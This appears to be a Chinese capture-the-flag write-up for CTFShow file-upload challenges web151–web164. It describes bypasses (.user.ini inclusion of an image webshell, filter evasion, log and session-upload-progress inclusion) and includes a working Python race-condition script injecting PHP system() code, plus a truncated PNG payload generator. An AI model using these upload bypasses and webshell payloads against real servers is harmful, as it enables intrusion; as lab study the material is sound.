CTFShow文件上传

CTFShow文件上传

web151

前端直接抓包改就行
在这里插入图片描述

web152

同上

web153(.user.ini)

利用上传.user.ini进行文件上传绕过

php.ini是php的一个全局配置文件,对整个web服务起作用;
而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,
通常用这个文件来构造后门和隐藏后门。
**利用.user.ini,要求目标目录下必须包含php文件**
.user.ini的内容为auto_append_file=1.png,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png)

回到题目
先上传图片马,在上传.user.ini去包含这张图片
在这里插入图片描述
在这里插入图片描述
然后去访问/upload/index.php,图片马就会被写到php文件中
在这里插入图片描述

web154

这里被过滤了php字符串,可以用短标签
同上
在这里插入图片描述

web155

同上

web156

过滤了[] , php里可以用 {} 来代替
同上
在这里插入图片描述

web157

过滤了分号,但我们知道php的最后语句是可以不需要分号的
同上
在这里插入图片描述

web158

同上

web159

这次是过滤了括号,可以用反引号代替system()
同上
在这里插入图片描述

web160

这次过滤的有点多,php、[、{、 ;、 (、 反引号 、空格都没了
可以试试日志包含,但这里log被过滤了,要注意一下
同上
成功日志包含就可以在UA头里带上一句话了
在这里插入图片描述

web161

同上

web162

这里其实是过滤了点,不能日志包含还可以session包含
利用session.upload_progress进行文件包含和反序列化渗透
在这里插入图片描述
在这里插入图片描述
然后还需要进行条件竞争,

import requests
import threading

session = requests.session()
sess = 'paidx0'
url1 = "http://2c7c01f5-6207-457e-b332-c72b453b765f.challenge.ctf.show:8080/"
url2 = "http://2c7c01f5-6207-457e-b332-c72b453b765f.challenge.ctf.show:8080/upload/"
data1 = {
   
   
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
   
   
    'file': 'paidx0'
}
cookies = {
   
   
    'PHPSESSID': sess
}

def write():
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)

def read():
    while True:
        r = session.get(url2)
        if 'flag' in r.text:
            print(r.text)
        else:
            print('--------')


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

web163

同上

web164(png二次渲染)

会发现只能上传png,而且文件名也被修改
后端二次渲染会把上传到服务器的图片的代码改变
利用 imagecreatefrompng()。png和jpg要利用脚本生成图片马,gif文件只需要将图片下载回来对照,shell写入未改动的区域
参考链接

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

paidx0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值